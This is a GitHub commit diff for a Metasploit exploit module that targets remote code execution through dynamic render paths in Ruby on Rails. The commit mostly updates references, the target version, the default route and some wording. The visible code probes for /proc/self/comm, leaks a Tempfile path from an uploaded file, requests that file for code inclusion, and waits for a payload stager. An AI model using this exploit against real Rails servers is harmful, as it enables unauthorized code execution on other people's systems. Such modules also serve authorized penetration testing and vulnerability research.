Skip to content

Commit 3c3f424

Browse files
committed
added a some references
1 parent bca3aab commit 3c3f424

File tree

1 file changed

+20
-19
lines changed

1 file changed

+20
-19
lines changed

modules/exploits/multi/http/rails_dynamic_render_code_exec.rb

Lines changed: 20 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -14,19 +14,20 @@ def initialize(info = {})
1414
'Description' => %q{
1515
This module exploits a remote code execution vulnerability in the explicit render
1616
method when leveraging user parameters.
17-
18-
This module has been tested across multiple versions of RoR including the latest
19-
5.0.0.1 - August 10, 2016. The technique used by this module requires the specified
17+
This module has been tested across multiple versions of Ruby on Rails.
18+
The technique used by this module requires the specified
2019
endpoint to be using dynamic render paths, such as the following example:
2120
2221
def show
2322
render params[:id]
2423
end
2524
2625
Also, the vulnerable target will need a POST endpoint for the TempFile upload, this
27-
can literrally be any endpoint. This module bypasses the patch for CVE-2016-0752
28-
which, afaik, prevented the exploitation of development.log. Finally, you only get
29-
one shot at this if you are testing with the buildin rails server, use caution.
26+
can literally be any endpoint. This module doesnt use the log inclusion method of
27+
exploitation due to it not being universal enough. Instead, a new code injection
28+
technique was found and used whereby an attacker can upload temporary image files
29+
against any POST endpoint and use them for the inclusion attack. Finally, you only
30+
get one shot at this if you are testing with the builtin rails server, use caution.
3031
},
3132
'Author' =>
3233
[
@@ -35,9 +36,10 @@ def show
3536
],
3637
'References' =>
3738
[
38-
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # failed patch
39+
[ 'CVE', '2016-0752'],
40+
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # rails patch
3941
[ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016
40-
[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's exploit
42+
[ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's original exploit
4143
],
4244
'License' => MSF_LICENSE,
4345
'Platform' => ['linux', 'bsd'],
@@ -49,14 +51,14 @@ def show
4951
'Privileged' => false,
5052
'Targets' =>
5153
[
52-
[ 'Ruby on Rails 5.0.0.1', {} ]
54+
[ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected
5355
],
5456
'DefaultTarget' => 0,
55-
'DisclosureDate' => 'Oct 1 2016'))
57+
'DisclosureDate' => 'Oct 16 2016'))
5658
register_options(
5759
[
5860
Opt::RPORT(3000),
59-
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/wae"]),
61+
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/users"]),
6062
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
6163
], self.class)
6264
end
@@ -73,8 +75,8 @@ def check
7375
if res and res.body =~ /render params/
7476
return Exploit::CheckCode::Vulnerable
7577
end
76-
77-
# this is the check for the prod environment
78+
79+
# this is the check for the prod environment
7880
res = send_request_cgi({
7981
'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"),
8082
'method' => 'GET',
@@ -123,7 +125,7 @@ def send_payload
123125
return true
124126
else
125127

126-
# thsi is where we pull the log file
128+
# this is where we pull the log file
127129
if leak_log
128130
return true
129131
end
@@ -142,10 +144,9 @@ def leak_log
142144

143145
if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/
144146
@path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/
145-
true
146-
else
147-
false
147+
return true
148148
end
149+
return false
149150
end
150151

151152
def start_http_server
@@ -177,7 +178,7 @@ def start_http_server
177178
connect
178179
end
179180

180-
def render_image
181+
def render_tmpfile
181182
@path.gsub!(/\//, '%2f')
182183
res = send_request_cgi({
183184
'uri' => normalize_uri(datastore['URIPATH'], @path),
@@ -190,7 +191,7 @@ def exploit
190191
start_http_server
191192
if send_payload
192193
print_good("injected payload")
193-
render_image
194+
render_tmpfile
194195

195196
# we need to delay, for the stager
196197
select(nil, nil, nil, 5)

0 commit comments

Comments
 (0)